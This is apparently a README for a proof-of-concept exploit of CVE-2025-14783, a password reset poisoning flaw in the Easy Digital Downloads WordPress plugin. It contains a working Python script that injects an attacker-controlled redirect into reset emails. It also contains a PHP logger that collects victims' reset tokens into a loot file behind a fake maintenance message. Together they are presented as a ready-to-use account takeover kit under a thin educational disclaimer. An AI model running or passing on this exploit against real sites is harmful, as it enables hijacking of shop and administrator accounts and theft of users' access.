
🧨 CVE-2025-14783: PoC de Tomada de Conta do Easy Digital Downloads
"A confiança é a falha de segurança mais explorável."
Este repositório contém uma Prova de Conceito (PoC) funcional para CVE-2025-14783, uma vulnerabilidade crítica de Password Reset Poisoning (Envenenamento de Redefinição de Senha) no plugin Easy Digital Downloads (EDD) para WordPress (versões <= 3.6.2).
Devido à falta de validação no parâmetro edd_redirect durante o processo de solicitação de redefinição de senha, um atacante remoto não autenticado pode injetar um domínio malicioso. Isso faz com que o e-mail legítimo enviado pela loja contenha um link de redefinição que aponta para o servidor do atacante, vazando o token de acesso (key) e permitindo o Account Takeover (ATO) total, inclusive de contas de administrador.
A falha reside na função que constrói a URL de redefinição dentro do e-mail. O código vulnerável utiliza esc_url_raw() para "sanitizar" a entrada, mas não valida o host de destino.
// El desarrollador confió en que esc_url_raw era suficiente seguridad... error fatal.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DE INYECCIÓN
),
$message
);
Ao controlar $_POST['edd_redirect'], controlamos a base da URL gerada.
requests lib (pip install requests)Faça upload do seguinte script PHP (logger.php) para o seu servidor malicioso para interceptar os tokens das vítimas.
<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // Ingeniería social básica
}
?>
Edite o script exploit.py com seus alvos e execute-o.
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURACIÓN
TARGET_URL = "http://vulnerable-shop.com/" # URL raíz de la tienda
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] Objetivo: {TARGET_URL}")
print(f"[*] Víctima: {VICTIM_EMAIL}")
print(f"[*] Envenenando enlace con: {ATTACKER_HOST}")
# Payload para inyectar la redirección
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Enviamos la petición al endpoint principal (o donde EDD escuche el POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] ¡Éxito! Correo envenenado enviado.")
print("[*] Ahora espera a que la víctima haga clic en el enlace del correo.")
print("[*] Revisa 'loot.txt' en tu servidor para obtener el token.")
else:
print(f"[-] Fallo. Código de estado: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
poison_reset_link()
| Confidencialidade | Integridade | Disponibilidade |
|---|---|---|
| ALTA 🟥 | ALTA 🟥 | BAIXA 🟩 |
Um atacante bem-sucedido pode:
Este software se proporciona ÚNICAMENTE con fines educativos y de investigación de seguridad.
El autor (ZeroEthical) no se hace responsable del uso indebido de esta información.
Atacar objetivos sin consentimiento previo por escrito es ilegal y puede resultar en acciones legales severas.
Úsalo bajo tu propio riesgo en entornos controlados.
Powered by ZeroEthical
"Nós não corrigimos vulnerabilidades, nós as demonstramos."